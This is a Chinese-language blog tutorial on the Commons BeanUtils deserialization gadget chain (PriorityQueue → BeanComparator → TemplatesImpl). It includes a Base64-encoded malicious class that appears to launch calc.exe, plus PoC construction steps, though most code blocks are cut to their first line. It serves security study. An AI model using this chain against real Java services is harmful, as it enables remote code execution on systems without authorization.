Commons BeanUtils
首先pom.xml导入依赖项
1 | <dependency> |
Apache Commons项目的一个 Java 类库,提供了一组简单易用的API来操作 Java 对象和 Bean 属性。它的主要功能是将Java Bean的属性值与一组键值对(例如,从HTTP请求或表单参数中)相互转换。主要对 JavaBean 功能的增强。以 Utils 结尾,一般这都是一个工具类/集。
JavaBean是一种特定的Java类,它遵循一定的规范和格式,以便于被其他程序使用和操作。JavaBean类设置有构造函数,私有属性和公共 getter/setter 方法:JavaBean 类通常会包含一些私有属性,而这些属性必须通过公共的 getter 和 setter 方法进行访问和修改。这是为了保证 JavaBean 类的封装性,同时也方便外部程序对 JavaBean 对象的属性进行操作。比如下面这个 JavaBean 示例
1 | public class People { |
在Commons-Beanutils的 Java 库中的 PropertyUtils 类提供了一些方法能够动态调用 getter / setter 方法,获取属性值。
PropertyUtils.getProperty
1 | import org.apache.commons.beanutils.PropertyUtils; |
这样就能调用到创建的对象的对应 name 属性的 getter 方法,除此之外,PropertyUtils.getProperty
还支持递归获取属性,比如a对象中有属性b,b对象中有属性c,我们可以通过 PropertyUtils.getProperty(a, "b.c");
的方式进行递归获取
利用链剖析
首先我们知道这个方法可以调用对象的 getter 方法,那就继续看哪个 getter 方法能够达到利用效果。在CC3动态加载类利用链有符合这个条件的方法getOutputProperties()
可以调用到newTransformer()
方法,最终加载字节码实现命令执行
1 | public synchronized Properties getOutputProperties() { |
因此我们可以通过PropertyUtils.getProperty
方法调用这个getter
方法,但怎么从反序列化的readObject()
方法调用到PropertyUtils.getProperty
这个静态方法呢,继续找哪里会调用这个方法,可以发现熟悉的compare()
方法,只是这次在BeanComparator
类中
1 | public int compare(T o1, T o2) { |
BeanComparator
类是commons-beanutils
用来比较两个JavaBean
是否相等的类,它实现了java.util.Comparator
接口,自然就会有compare
方法。这里只要在o1
这个位置上放我们构造好的TemplatesImpl
对象,在property
这个位置上放OutputProperties
,就可以成功调用到TemplatesImpl#getOutputProperties()
方法了。
OK,至于如何调用这个compare()
方法,就可以参考cc2的调用链
1 | PriorityQueue.readObject -> PriorityQueue.siftUpUsingComparator -> BeanComparator.compare |
这样整个链子就通了
编写PoC链
调用链如下
1 | PriorityQueue.readObject -> |
首先和CC3一样设置好TemplatesImpl
对象
1 | byte[] code = Base64.getDecoder().decode("yv66vgAAADQAIwoABwAUBwAVCAAWCgAXABgKABcAGQcAGgcAGwEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAcAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAHQEAClNvdXJjZUZpbGUBAAlldmlsLmphdmEMAA8AEAEAEGphdmEvbGFuZy9TdHJpbmcBAAhjYWxjLmV4ZQcAHgwAHwAgDAAhACIBABN5c29zZXJpYWwvdGVzdC9ldmlsAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAoKFtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAYABwAAAAAAAwABAAgACQACAAoAAAAZAAAAAwAAAAGxAAAAAQALAAAABgABAAAACwAMAAAABAABAA0AAQAIAA4AAgAKAAAAGQAAAAQAAAABsQAAAAEACwAAAAYAAQAAAA0ADAAAAAQAAQANAAEADwAQAAIACgAAADsABAACAAAAFyq3AAEEvQACWQMSA1NMuAAEK7YABVexAAAAAQALAAAAEgAEAAAADwAEABAADgARABYAEgAMAAAABAABABEAAQASAAAAAgAT"); |
然后实例化BeanComparator
,用于后面给PriorityQueue
初始化传入比较器(comparator)
1 | BeanComparator beanComparator = new BeanComparator(); |
然后创建PriorityQueue
类的对象,利用其构造方法传入比较器beanComparator,这里就和CC2差不多了
1 | Queue queue = new PriorityQueue(2, comparator); |
最后利用反射机制放入我们恶意构造的TemplateImpl
对象和outputProperties
,使其能够调用到TemplatesImpl#getOutputProperties()
,完成后面一系列调用
1 | setFieldValue(comparator, "property", "outputProperties"); |
完整PoC链
1 | import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; |
参考链接:
Java篇之Commons Beanutils | Arsene.Tang
我的博客即将同步至腾讯云开发者社区,邀请大家一同入驻:https://cloud.tencent.com/developer/support-plan?invite_code=npidgcsp5ijj
Author: ph0ebus